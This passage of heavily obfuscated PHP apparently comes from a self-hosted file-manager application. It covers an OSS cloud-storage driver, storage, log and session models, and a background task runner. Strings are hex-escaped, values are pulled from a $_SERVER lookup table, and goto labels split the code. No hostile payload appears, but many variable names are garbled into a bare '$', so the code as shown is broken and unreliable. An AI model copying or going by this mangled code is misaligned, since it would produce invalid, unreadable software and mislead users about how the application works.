OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1393] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $պ = $this->trafficLimit($[1403], $պ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($ߓ), $, $պ); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } public function getHost() { $˟ =& $_SERVER[㫙]; $ć = explode($˟[176], parent::getHost()); return $ć[0] . $˟[176] . $this->bucket . $˟[10] . $ć[1]; } public function uploadFormData($, $ = 3600) { $ϑ⼛ =& $_SERVER[㫙]; if (!($ߙ = $this->getHost())) { return !1; } $Ҷ = $; $ = date($ϑ⼛[1406], time() + $Ҷ); $ҝ쥬 = new DateTime($); $ = $ҝ쥬->format(DateTime::ISO8601); $ݍ = strpos($, $ϑ⼛[291]); $ = substr($, 0, $ݍ) . $ϑ⼛[1407]; $ = 1048576000 * 5; $ͼ = $this->pathFather($); $򚻗 = array($ϑ⼛[1306] => $, $ϑ⼛[1307] => array(array($ϑ⼛[1408], 0, $), array($ϑ⼛[1310], $ϑ⼛[1311], $ͼ))); $ؒ = base64_encode(json_encode($򚻗)); $۽ = base64_encode(hash_hmac($ϑ⼛[227], $ؒ, $this->secret, !0)); $ַ = array($ϑ⼛[1316] => $ؒ, $ϑ⼛[1409] => $this->accessKey, $ϑ⼛[1312] => $ϑ⼛[1304], $ϑ⼛[1410] => $۽, $ϑ⼛[174] => $ߙ); $ַ = $this->trafficLimit($ϑ⼛[1403], $ַ); return $ַ; } public function multiUploadFormData($, $ʋ = 3600) { $۳ =& $_SERVER[㫙]; if (!($ᕽ = $this->getHost())) { return !1; } $ = $this->trafficLimit($۳[1403]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); return array($۳[218] => $, $۳[174] => $ᕽ . $۳[8] . $this->pathEncode($), $۳[219] => gmdate($۳[1411]), $۳[95] => $); } public function multiUploadAuthData($囅, $᤯ = array()) { $ã =& $_SERVER[㫙]; $ܢ = isset($᤯[$ã[219]]) ? $᤯[$ã[219]] : gmdate($ã[1411]); $ب = isset($᤯[$ã[167]]) ? $᤯[$ã[167]] : $ã[12]; $إ = $囅; if (isset($᤯[$ã[95]])) { $إ = $᤯[$ã[95]]; unset($᤯[$ã[95]]); } if (isset($᤯[$ã[220]])) { $᤯[$ã[219]] = $ܢ; return $this->listUploadParts($إ, $᤯); } $Ľ = array($ã[221], $ã[12], $ã[118], $ܢ, "\x78\x2d\157\x73\163\x2d\x64\x61\x74\x65\72{$ܢ}", $ã[8] . $this->bucket . $ã[8] . $إ . $ب); if (strpos($ب, $ã[222]) === 0) { $Ľ[0] = $ã[223]; if ($ꄈ = $this->trafficLimit($ã[1403])) { $إ = $ã[1412]; array_splice($Ľ, 5, 0, $إ . $ã[4] . $ꄈ[$إ]); } } if (isset($᤯[$ã[224]]) && $᤯[$ã[224]] == $ã[225]) { $Ľ[0] = $ã[225]; } if (!empty($᤯[$ã[1413]])) { $ޘȅ = array_merge(array($Ľ[4]), $᤯[$ã[1413]]); sort($ޘȅ); $Ľ[4] = implode($ã[226], $ޘȅ); } $ = implode($ã[226], $Ľ); $ = base64_encode(hash_hmac($ã[227], $, $this->secret, !0)); $€ = $ã[1377] . $this->accessKey . $ã[4] . $; if (strpos($ب, $ã[222]) === 0) { $€ = array($ã[229] => $€, $ã[219] => $ܢ); if ($ꄈ) { $€ = array_merge($€, $ꄈ); } } return $€; } public function listUploadParts($ך, $Ǚ) { $ݪ =& $_SERVER[㫙]; $ = parse_url_query($Ǚ[$ݪ[167]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($ך), $[$ݪ[218]]); $ϳ = $->getListPart(); $ˊ׬ = array(); foreach ($ϳ as $) { $ˊ׬[] = array($ݪ[1397] => $->getPartNumber(), $ݪ[1398] => trim($->getETag(), $ݪ[117])); } unset($Ǚ[$ݪ[220]], $Ǚ[$ݪ[224]]); $۞£ = $this->multiUploadAuthData($ך, $Ǚ); if (empty($۞£)) { return !1; } return array($ݪ[229] => $۞£, $ݪ[219] => $Ǚ[$ݪ[219]], $ݪ[231] => $ˊ׬); } public function download($, $ПɃ) { if ($this->isFolder($)) { return !1; } try { $ݶ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $ПɃ); $ݶ = $this->trafficLimit($_SERVER[㫙][110], $ݶ); $this->client->getObject($this->bucket, $this->pathEncode($), $ݶ); } catch (OSS\Core\OssException $ᛇ) { return !1; } return $ПɃ; } public function fileSubstr($̔, $ = 0, $ޔ = false) { if ($ === -1) { $ = array(); } else { if ($ޔ === !1) { $ǩ = $this->size($̔); } else { $ǩ = $ + $ޔ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$ǩ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($̔), $); } catch (OSS\Core\OssException $) { think_exception($->getMessage()); return !1; } } private function trafficLimit($Ñ, $쨻 = array()) { $Ϡ =& $_SERVER[㫙]; if ($Ñ == $Ϡ[1403] && $this->isUploadServer() || $Ñ == $Ϡ[110] && $this->isFileOutServer()) { return $쨻; } $ = floatval($GLOBALS[$Ϡ[6]][$Ϡ[90]][$Ϡ[108]][$Ñ]) * 1024 * 1024 * 8; if (!$) { return $쨻; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); $쨻[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $쨻; } public function link($, $ = array()) { $ =& $_SERVER[㫙]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ = $this->trafficLimit($[110], $); $ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[225], $); return $this->getCdnLink($); } catch (OSS\Core\OssException $雠) { return !1; } } public function fileOut($, $ٞž = false, $ = false, $좈 = '') { $ =& $_SERVER[㫙]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ٞž, $, $좈); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $ʰ = get_file_mime(get_path_ext($)); if ($ʰ == $[212]) { return parent::fileOut($, $ٞž, $, $좈); } $ٞž = $ٞž ? $[1414] : $[1415]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1416] . rawurlencode("{$ٞž}\73\146\x69\x6c\145\x6e\141\155\x65\75{$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1417] . rawurlencode($ʰ); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($Ϲ, $示 = false, $̠ = false, $Üɐ = '') { parent::fileOut($Ϲ, $示, $̠, $Üɐ); } public function fileOutImage($⥐, $ = 250) { $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[㫙][1418] . $); $χ = $this->link($⥐, $); $this->fileOutLink($χ); } public function fileOutImageServer($, $¹ = 250) { parent::fileOutImage($, $¹); } public function fileOutLink($޸Ջ) { $ =& $_SERVER[㫙]; if (!$this->isCdnHost() && substr($޸Ջ, 0, 7) == $[1319]) { $޸Ջ = $[1320] . substr($޸Ջ, 7); } header($[158] . $޸Ջ); die; } public function hashMd5($, $ = '') { $߼ =& $_SERVER[㫙]; $֒ = $this->_objectMeta($); if (!$֒) { return $߼[12]; } if (!isset($֒[$߼[1393]]) && !empty($)) { $ɜ = $this->updateObjMeta($, array($߼[1393] => $)); $֒[$߼[1393]] = $ɜ ? $ : $߼[12]; } return isset($֒[$߼[1393]]) ? strtolower($֒[$߼[1393]]) : $߼[12]; } public function size($) { $񢟻 = $this->objectMeta($); return $񢟻 ? $񢟻[$_SERVER[㫙][80]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ê) { return !$this->isFolder($ê) && $this->objectMeta($ê); } public function isFolder($׆) { return $this->cacheMethod($_SERVER[㫙][198], $׆); } protected function objectMeta($؛Ҵ) { return $this->cacheMethod($_SERVER[㫙][199], $؛Ҵ); } protected function _objectMeta($) { $ =& $_SERVER[㫙]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $ = !1; } if ($) { $[$[80]] = intval($[$[1391]]); } return $; } protected function _isFolder($) { $í =& $_SERVER[㫙]; if ($ == $í[12] || $ == $í[8]) { return !0; } $ = array($í[1387] => $í[8], $í[1388] => rtrim($, $í[8]) . $í[8], $í[1389] => 1, $í[1390] => $í[12]); $Ǭ = $this->client->listObjects($this->bucket, $); if ($Ǭ->getObjectList() || $Ǭ->getPrefixList()) { return !0; } return !1; } } goto B払; f˖: class StorageModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\x65\x6d\56\x73\164\157\162\x61\x67\145\x4c\x69\x73\164"; public $field = array("\x6e\x61\x6d\145", "\x73\151\x7a\145\115\141\170", "\163\x79\x73\164\x65\155", "\x64\145\x66\x61\165\154\164", "\x64\x72\151\x76\x65\x72", "\143\157\x6e\x66\151\x67"); public function listData($ = false, $ά = "\155\x6f\144\x69\146\171\x54\x69\155\x65", $Ɔ = false) { $Ȥ =& $_SERVER[㫙]; $苴 = parent::listData($, $ά, $Ɔ); if ($) { return $苴; } $ = $this->ioSizeUseGet(array_to_keyvalue($苴, $Ȥ[12], $Ȥ[392])); foreach ($苴 as $ => $Ԯ) { unset($苴[$][$Ȥ[6]]); $苴[$][$Ȥ[1807]] = isset($[$Ԯ[$Ȥ[392]]]) ? $[$Ԯ[$Ȥ[392]]] : 0; } return $苴; } public function ioSizeUseGet($ϑ) { $ח =& $_SERVER[㫙]; if (!$ϑ) { return array(); } $ԝ = $ח[2121] . implode($ח[50], $ϑ); $݅ = Cache::get($ԝ); if ($݅) { return $݅; } $ = array($ח[818] => $ח[392], $ח[2122] => $ח[80]); $ұ = array($ח[818] => array($ח[7], $ϑ)); $݅ = Model($ח[790])->field($)->where($ұ)->group($ח[818])->select(); $݅ = array_to_keyvalue($݅, $ח[392], $ח[80]); Cache::set($ԝ, $݅, 600); return $݅; } public function getConfig($ᆡ) { $遏 = parent::listData($ᆡ); return json_decode($遏[$_SERVER[㫙][6]], !0); } public function update($͑, $ٕ) { $ =& $_SERVER[㫙]; $޴ = $ٕ[$[32]]; $ż = array_to_keyvalue(parent::listData(), $[32]); if (isset($ż[$޴]) && $ż[$޴][$[392]] != $͑) { return !1; } if (isset($ٕ[$[2123]]) && $ٕ[$[2123]] == $[89]) { $this->checkConfig($ٕ); } unset($ٕ[$[2123]]); $ٵ = parent::update($͑, $ٕ); if ($ٵ && $ٕ[$[37]]) { foreach ($ż as $؀) { if ($؀[$[37]] && $؀[$[392]] != $͑) { parent::update($؀[$[392]], array($[37] => 0)); } } } return $ٵ; } public function add($цڑ) { $ =& $_SERVER[㫙]; $˕ = array_to_keyvalue(parent::listData(), $[32]); if (isset($˕[$цڑ[$[32]]])) { return !1; } $this->checkConfig($цڑ); $ = parent::insert($цڑ); if ($ && $цڑ[$[37]]) { foreach ($˕ as $۹) { if ($۹[$[37]]) { parent::update($۹[$[392]], array($[37] => 0)); } } } return $; } public function checkConfig(&$, $ = false) { $҄ =& $_SERVER[㫙]; $ = strtolower($[$҄[96]]); $ӯ = json_decode($[$҄[6]], !0); foreach ($ӯ as $ﯗ => $ҹ) { $ӯ[$ﯗ] = trim($ҹ); } $ӯ[$҄[2124]] = rand_string(6); $ᓈ = $GLOBALS[$҄[6]][$҄[90]][$҄[827]]; $ = isset($ᓈ[$]) ? $ᓈ[$] : ucfirst($); $ = $҄[74] . $; if (!$ || !class_exists($)) { if ($) { return LNG($҄[2125]); } write_log(array($҄[2126], $, get_caller_info()), $҄[2127]); show_json(LNG($҄[2125]), !1, $); } $ = new $($ӯ); if (in_array($, $->objectDriver)) { if (!$->isBucketCors() && !$->setBucketCors()) { $ط = LNG($҄[2128]); $ط .= $҄[2129] . LNG($҄[2130]); if ($) { return $ط; } show_json($ط, !1); } } $ = rtrim($ӯ[$҄[1175]], $҄[8]) . $҄[8]; $ܝ = $->getPath($ . $҄[1237]); if (!$->mkfile($ܝ)) { if ($) { return LNG($҄[2128]); } show_json(LNG($҄[2128]), !1); } $ӯ[$҄[1175]] = $; $[$҄[6]] = json_encode($ӯ); $[$҄[96]] = $; return !0; } public function driverListSystem() { $ =& $_SERVER[㫙]; $١۪ = parent::listData(); $Ѡż = array(); foreach ($١۪ as $Ũƚ) { unset($Ũƚ[$[193]], $Ũƚ[$[86]]); $Ũƚ[$[6]] = json_decode($Ũƚ[$[6]], !0); $Ѡż[] = $Ũƚ; } return $Ѡż; } public function defaultDriver() { $Ã֚ =& $_SERVER[㫙]; $ = parent::listData(); $ݕ = array_filter_by_field($, $Ã֚[37], 1); $ݕ = $ݕ[0]; if ($ݕ) { $ݕ[$Ã֚[6]] = json_decode($ݕ[$Ã֚[6]], !0); } return $ݕ; } public function driverInfo($ِ) { $ =& $_SERVER[㫙]; $ = array_to_keyvalue(parent::listData(), $[392]); if (!isset($[$ِ])) { return !1; } $¾ = $[$ِ]; $¾[$[6]] = json_decode($¾[$[6]], !0); return $¾; } public function remove($ͽ혧) { $this->removeShareItems($ͽ혧); return parent::remove($ͽ혧); } public function removeWithFile($, $Π) { $ =& $_SERVER[㫙]; $Ñ = array($[818] => $); $ѯƺ = Model($[470])->where($Ñ)->count(); $ = Model($[470])->where($Ñ)->sum($[80]); $̃댑 = $Π . $[2131] . $; $Ú = new TaskFileTransfer($̃댑, $[2127], $ѯƺ, LNG($[2132]) . "\x28{$}\x29"); $Ú->task[$[764]] = (double) $; $ = KodIO::defaultDriver(); $͕ = $[$[392]]; $į = "\173\151\x6f\72{$͕}\x7d\x2f"; $ = !0; $ = array(); $㵵 = Model($[192])->where($Ñ)->field($[2133])->select(); foreach ($㵵 as $) { $л = $[$[78]]; $س = $į . str_replace("\x7b\x69\157\72{$}\175\57", $[12], $л); if (!IO::exist($л)) { $[] = $[$[467]]; $Ú->updateFileEnd($[$[32]], $[$[80]]); continue; } if (IO::exist($س)) { $Ú->updateFileEnd($[$[32]], $[$[80]]); continue; } if (!IO::move($л, get_path_father($س))) { $ = !1; break; } $Ñ = array($[467] => $[$[467]]); $ = array($[818] => $͕, $[78] => $س); Model($[192])->where($Ñ)->save($); } $this->removeByFileID($); if (!$) { $Ú->stop($̃댑); return !1; } $Ú->end(); if ($Π == $[1787]) { $this->remove($); } } public function progress($, $Ԣ) { return Task::get($Ԣ . $_SERVER[㫙][2131] . $); } private function removeByFileID($٦ = array()) { $ܽ =& $_SERVER[㫙]; if (empty($٦)) { return; } $ = array($ܽ[467] => array($ܽ[7], $٦)); $ = Model($ܽ[1321])->where($)->field($ܽ[403])->select(); if (!$) { return; } $ = array_to_keyvalue($, $ܽ[12], $ܽ[403]); foreach ($ as $Éք) { Model($ܽ[417])->removeNow($Éք, !1); } } private function removeShareItems($) { $Ė =& $_SERVER[㫙]; $ݐ = "\x7b\151\x6f\72{$}\175\x2f"; $ = array($Ė[403] => 0, $Ė[1170] => array($Ė[378], "{$ݐ}\45")); $㈽ = Model($Ė[1798])->where($)->field($Ė[488])->select(); if (empty($㈽)) { return; } $п = array_to_keyvalue($㈽, $Ė[12], $Ė[488]); Model($Ė[595])->remove($п); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\145\155\x2e\x4c\x69\x67\x68\x74\101\x70\x70"; public $modelType = "\123\x79\163\164\x65\x6d\x4f\160\x74\151\157\x6e"; public $field = array("\156\x61\155\145", "\147\x72\157\x75\x70", "\144\x65\163\143", "\x63\157\156\x74\145\x6e\x74"); public function listData($ = false, $н = "\x6d\157\x64\151\x66\x79\x54\x69\155\x65", $칗 = true) { return parent::listData($, $н, $칗); } public function remove($) { $» = $this->findByName($); if (!$») { return !1; } return parent::remove($»[$_SERVER[㫙][392]]); } public function add($) { if ($this->findByName($[$_SERVER[㫙][32]])) { return !1; } return parent::insert($); } public function update($Ҏ, $˞) { $ =& $_SERVER[㫙]; $ = $this->findByName($Ҏ); $否 = $this->findByName($˞[$[32]]); if (!$ || $否 && $否[$[392]] != $[$[392]]) { return !1; } return parent::update($[$[392]], $˞); } } class SystemLogModel extends ModelBase { protected $tableName = "\x73\171\163\164\145\x6d\x5f\154\157\147"; protected $dataAuto = array(array("\x63\162\x65\x61\164\x65\124\151\155\145", "\x74\151\x6d\145", "\151\x6e\x73\145\x72\x74", "\146\165\x6e\x63\164\x69\157\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[㫙]; return array($[2134] => LNG($[2135]), $[2136] => LNG($[2137]), $[1761] => LNG($[2138]), $[2139] => LNG($[2140]), $[2141] => LNG($[2142]), $[2143] => LNG($[2144]), $[2145] => LNG($[2146]), $[1791] => LNG($[2146]), $[1792] => LNG($[2147]), $[2148] => LNG($[2149]), $[2150] => LNG($[2151]), $[2152] => LNG($[2153]), $[2154] => LNG($[2155]), $[1789] => LNG($[2156]), $[2157] => LNG($[2158]), $[1796] => LNG($[2159]), $[2160] => LNG($[2161]), $[2162] => LNG($[2163]), $[2164] => LNG($[2165]), $[2166] => LNG($[2167]), $[1799] => LNG($[2168]), $[1800] => LNG($[2169]), $[2170] => LNG($[2171]), $[2172] => LNG($[2173]), $[2174] => LNG($[2175]), $[1794] => LNG($[2176]), $[2177] => LNG($[2178]), $[1793] => LNG($[2179]), $[2180] => LNG($[2181]), $[2182] => LNG($[2183]), $[2184] => LNG($[2185]), $[2186] => LNG($[2186]), $[2187] => LNG($[1765]), $[2188] => LNG($[2189]), $[2190] => LNG($[2191]), $[2192] => LNG($[2193]), $[2194] => LNG($[2195]), $[2196] => LNG($[2197]), $[2198] => LNG($[2198]), $[2199] => LNG($[2200]), $[2201] => LNG($[2202]), $[2203] => LNG($[2204]), $[2205] => LNG($[2206]), $[2207] => LNG($[2208]), $[2209] => LNG($[2210])); } private function typeFile() { $ƗƝ =& $_SERVER[㫙]; $Ó = array($ƗƝ[1796] => array($ƗƝ[1797]), $ƗƝ[2152] => array($ƗƝ[2211]), $ƗƝ[2154] => array($ƗƝ[2212]), $ƗƝ[1789] => array($ƗƝ[1790]), $ƗƝ[2162] => array(), $ƗƝ[2164] => array(), $ƗƝ[2166] => array(), $ƗƝ[1799] => array($ƗƝ[1801]), $ƗƝ[1800] => array($ƗƝ[1801]), $ƗƝ[2170] => array($ƗƝ[2213]), $ƗƝ[2172] => array($ƗƝ[2213]), $ƗƝ[2174] => array($ƗƝ[2214]), $ƗƝ[2160] => array($ƗƝ[2215]), $ƗƝ[1794] => array($ƗƝ[2216]), $ƗƝ[2177] => array($ƗƝ[2217]), $ƗƝ[1793] => array($ƗƝ[1795])); return $Ó; } private function typeAll() { $ݽ =& $_SERVER[㫙]; $ф = $this->typeList; $Ĉ = array_filter($this->typeFile()); foreach ($Ĉ as $ʚ첦 => $䓷) { $ф[$䓷[0]] = $ф[$ʚ첦]; } $ф[$ݽ[1801]] = LNG($ݽ[2218]); $ф[$ݽ[2213]] = LNG($ݽ[2219]); return $ф; } public function addLog($, $ = array()) { $ =& $_SERVER[㫙]; if (!isset($this->typeList[$])) { return; } $ = defined($[474]) && USER_ID ? USER_ID : (isset($[$[1650]]) ? $[$[1650]] : 0); if (!$) { $ = (int) Session::get($[1950]); } $ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024) { $ = array($[2220] => $); } else { if (is_array($)) { $[$[2220]] = $; } else { $ = array($[1187] => $, $[2220] => $); } } $ = array($[1640] => Session::sign(), $[1641] => $, $[33] => $, $[1643] => json_encode($)); parent::add($); } public function remove($ۮ) { $this->where(array($_SERVER[㫙][420] => $ۮ))->delete(); } private function _makeOrder($Ӣ = '') { $ة =& $_SERVER[㫙]; $ς = $ة[193]; $峎 = array($ة[448] => $ة[449], $ة[450] => $ة[451]); $† = Input::get($ة[456], $ة[7], $ة[1982], array($ة[1908], $ة[450])); $† = $峎[$†]; $Ӣ = $Ӣ . "{$ς}\x20{$†}"; return $this->order($Ӣ); } public function get($Ȗ = '') { $֚߾ =& $_SERVER[㫙]; if (!$Ȗ) { show_json(array()); } $囼 = array(); if ($Ȗ[$֚߾[1650]]) { $囼[$֚߾[1650]] = $Ȗ[$֚߾[1650]]; } if (isset($Ȗ[$֚߾[762]])) { $ɀՍ = $Ȗ[$֚߾[762]]; $٨ = isset($Ȗ[$֚߾[496]]) ? $Ȗ[$֚߾[496]] : time(); $囼[$֚߾[193]] = array($֚߾[328], array($ɀՍ, $٨)); } if ($Ȗ[$֚߾[33]]) { $ΐ = explode($֚߾[50], $Ȗ[$֚߾[33]]); $ʄ = $this->typeFile(); $ͽц = array(); foreach ($ΐ as $﷡) { $ͽц[] = $﷡; if (isset($ʄ[$﷡])) { $ͽц = array_merge($ͽц, $ʄ[$﷡]); } } $ͽц = array_unique($ͽц); if ($ͽц) { $囼[$֚߾[33]] = array($֚߾[7], $ͽц); } } else { $囼[$֚߾[33]] = array($֚߾[2221], $֚߾[2222]); } if (!empty($Ȗ[$֚߾[2220]])) { $囼[$֚߾[451]] = array($֚߾[378], "\x25{$Ȗ[$֚߾[2220]]}\45"); } $ = $this->_makeOrder()->where($囼)->selectPage(); if (empty($[$֚߾[364]])) { show_json(array(), !0, $[$֚߾[361]]); } $[$֚߾[364]] = $this->logList($[$֚߾[364]]); return $; } private function ipAddress(&$) { $Њ =& $_SERVER[㫙]; if (!empty($[$Њ[2220]])) { $ = IpLocation::get($[$Њ[2220]]); } else { $ = LNG($Њ[2223]); } $[$Њ[2224]] = $; } private function descZipDownload($, &$㰩) { $豨 =& $_SERVER[㫙]; if (!isset($[$豨[2225]])) { return; } $ = json_decode($[$豨[2225]], !0); foreach ($ as $) { try { $ͦ = IO::infoFull($[$豨[78]]); } catch (Exception $¾) { continue; } $[$豨[78]] = $[$豨[78]]; $㰩[] = $[$豨[403]] = $ͦ[$豨[403]]; $㰩[] = $[$豨[2036]] = $ͦ[$豨[498]]; break; } return $; } private function getSourceList(&$㠏) { $ݧ =& $_SERVER[㫙]; $ݥ = array(); foreach ($㠏 as $ɻ => $̱) { $ = json_decode($̱[$ݧ[451]], !0); if ($̱[$ݧ[33]] == $ݧ[1792]) { $ = $this->descZipDownload($, $ݥ); $㠏[$ɻ][$ݧ[451]] = json_encode($); continue; } if (strpos($̱[$ݧ[33]], $ݧ[2038]) !== 0) { if (!isset($[$ݧ[78]]) || strpos($̱[$ݧ[33]], $ݧ[2226]) !== 0) { continue; } try { $ϝߩ = IO::infoFull($[$ݧ[78]]); } catch (Exception $) { continue; } $ݥ[] = $[$ݧ[403]] = $ϝߩ[$ݧ[403]]; $ݥ[] = $[$ݧ[2036]] = $ϝߩ[$ݧ[498]]; $㠏[$ɻ][$ݧ[451]] = json_encode($); continue; } $ݥ[] = $[$ݧ[403]]; $ݥ[] = $[$ݧ[2036]]; if ($[$ݧ[33]] == $ݧ[551]) { $ݥ[] = $[$ݧ[451]][$ݧ[1154]]; $ݥ[] = $[$ݧ[451]][$ݧ[1155]]; } if ($[$ݧ[33]] == $ݧ[2045]) { $ݥ[] = $[$ݧ[451]][$ݧ[403]]; } } if (!$ݥ) { return array(); } return Model($ݧ[826])->sourceListInfo($ݥ, !0); } private function logList($ݮ) { $̋ =& $_SERVER[㫙]; $ = array_to_keyvalue($ݮ, $̋[12], $̋[1650]); $ = Model($̋[538])->userListInfo(array_unique($)); $ = $this->getSourceList($ݮ); $٨ = $this->typeAll(); $ϳ = array(); $ = array(); foreach ($ݮ as $ => $) { $֌ = $[$̋[33]]; $ = isset($[$[$̋[1650]]]) ? $[$[$̋[1650]]] : !1; $ = strpos($֌, $̋[2227]) === 0 ? LNG($̋[2228]) : LNG($̋[2223]); $[$̋[32]] = isset($[$̋[32]]) ? $[$̋[32]] : LNG($̋[2223]); $[$̋[2086]] = isset($[$̋[2086]]) ? $[$̋[2086]] : $̋[12]; $[$̋[1548]] = isset($٨[$֌]) ? $٨[$֌] : $; $[$̋[1981]] = $; $ލ = json_decode($[$̋[451]], !0); $[$̋[2220]] = isset($ލ[$̋[2220]]) ? $ލ[$̋[2220]] : $̋[12]; $[$̋[2224]] = IpLocation::get($[$̋[2220]]); if (strpos($֌, $̋[2038]) === 0 || isset($ލ[$̋[2036]])) { $ލ[$̋[87]] = $[$ލ[$̋[403]]]; $ލ[$̋[2050]] = $[$ލ[$̋[2036]]]; if ($ލ[$̋[33]] == $̋[551]) { $ލ[$̋[451]][$̋[1154]] = $[$ލ[$̋[451]][$̋[1154]]]; $ލ[$̋[451]][$̋[1155]] = $[$ލ[$̋[451]][$̋[1155]]]; } if ($ލ[$̋[33]] == $̋[2045]) { $ލ[$̋[451]][$̋[403]] = $[$ލ[$̋[451]][$̋[403]]]; } if ($ލ[$̋[33]] == $̋[1787]) { $ލ[$̋[2050]] = $ލ[$̋[87]]; $ލ[$̋[2036]] = $ލ[$̋[2050]][$̋[403]]; $ލ[$̋[87]] = !1; $ލ[$̋[403]] = $̋[12]; } if ($ލ[$̋[87]] && $ލ[$̋[87]][$̋[412]] == $̋[1270]) { $[] = $[$̋[392]]; unset($ݮ[$]); continue; } if ($ލ[$̋[2050]] && $ލ[$̋[2050]][$̋[412]] == $̋[1270]) { $[] = $[$̋[392]]; unset($ݮ[$]); continue; } } $[$̋[451]] = $ލ; unset($[$̋[2229]]); $ϳ[] = $; } $this->clearSystemPathLog($); return $ϳ; } private function clearSystemPathLog($) { $ȕ =& $_SERVER[㫙]; if (count($) == 0) { return; } $ = array($ȕ[392] => array($ȕ[7], array_unique($))); $this->where($)->delete(); } public function deviceList($·, $쫾 = 0) { $ =& $_SERVER[㫙]; $Ș = array($[1650] => $·, $[193] => array($[1010], $쫾), $[33] => $[1761]); $Ѐڂ = array(); $ϲ = $this->field($[2230])->where($Ș)->order($[2048])->limit(50)->select(); foreach ($ϲ as $ => $ު) { if ($ > 0 && abs($ު[$[193]] - $ϲ[$ - 1][$[193]]) < 5) { continue; } $ʇ = json_decode($ު[$[451]], !0); $ު[$[2220]] = isset($ʇ[$[2220]]) ? $ʇ[$[2220]] : $[12]; unset($ʇ[$[2220]]); $ˏ = $this->deviceType($ʇ[$[2039]]); if (isset($Ѐڂ[$ˏ])) { continue; } $ު[$[2224]] = IpLocation::get($ު[$[2220]]); $ު[$[451]] = $ʇ; $Ѐڂ[$ˏ] = $ު; } return array_values($Ѐڂ); } public function deviceType($) { return $; } } goto c泦; Fԍӭܱ: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $֙ =& $_SERVER[㫙]; static $ = false; if ($) { return $; } $΂ = $GLOBALS[$֙[6]][$֙[344]]; self::$sessionTime = $΂[$֙[1606]]; $ʽ = isset($GLOBALS[$֙[1607]]) ? $GLOBALS[$֙[1607]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($ʽ)) { self::$sessionSign = Cookie::get($ʽ); } else { self::$sessionSign = guid(); } } Cookie::setSafe($ʽ, self::$sessionSign, self::$sessionTime); $ = $΂[$֙[1608]]; $ = $΂[$]; $Ƙ = $΂[$֙[829]]; switch ($) { case $֙[21]: self::$handle = Model($֙[830]); break; case $֙[831]: self::$handle = new CacheRedis($, $Ƙ); break; case $֙[832]: self::$handle = new CacheMemcached($, $Ƙ); break; case $֙[192]: $[$֙[78]] = $[$֙[78]] . $֙[1609]; self::$handle = new CacheFile($, $Ƙ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($) { CacheLock::lock($); $鹣 = self::$handle->get($); CacheLock::unlock($); $鹣 = unserialize($鹣); return is_array($鹣) ? $鹣 : array(); } public static function setBySign($˴, $) { CacheLock::lock($˴); self::$handle->set($˴, serialize($), self::$sessionTime); CacheLock::unlock($˴); } public static function sign($ = false) { $ && (self::$sessionSign = $); self::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach ($ as $լ => $ƈծ) { array_set_value(self::$data, $լ, $ƈծ); } } else { array_set_value(self::$data, $, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[㫙][834])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $Տ =& $_SERVER[㫙]; if (self::valueGet($Տ[751]) != $Տ[89]) { return; } if (self::valueGet($Տ[1610]) == $Տ[89]) { $ = self::valueGet($Տ[1611]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); self::valueSet($Տ[1610], $Տ[89]); self::log($Տ[1612]); Hook::bind($Տ[1613], $Տ[1614]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($Տ[751]) != $Տ[89]) { self::valueSet($Տ[1610], $Տ[190]); self::log($Տ[1615]); die; } $ꖷ = time(); if ($ꖷ - $ >= 60) { self::valueSet(array($Տ[1610] => $Տ[89], $Տ[1611] => $ꖷ), !1); $ = $ꖷ; } if (!file_exists(USER_SYSTEM . $Տ[1616])) { self::valueSet(array($Տ[1610] => $Տ[190], $Տ[751] => $Տ[190]), !1); self::log($Տ[1617]); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $ҍ =& $_SERVER[㫙]; http_close(); self::valueSet($ҍ[751], $ҍ[190]); sleep(self::AUTO_DELAY_TIME + 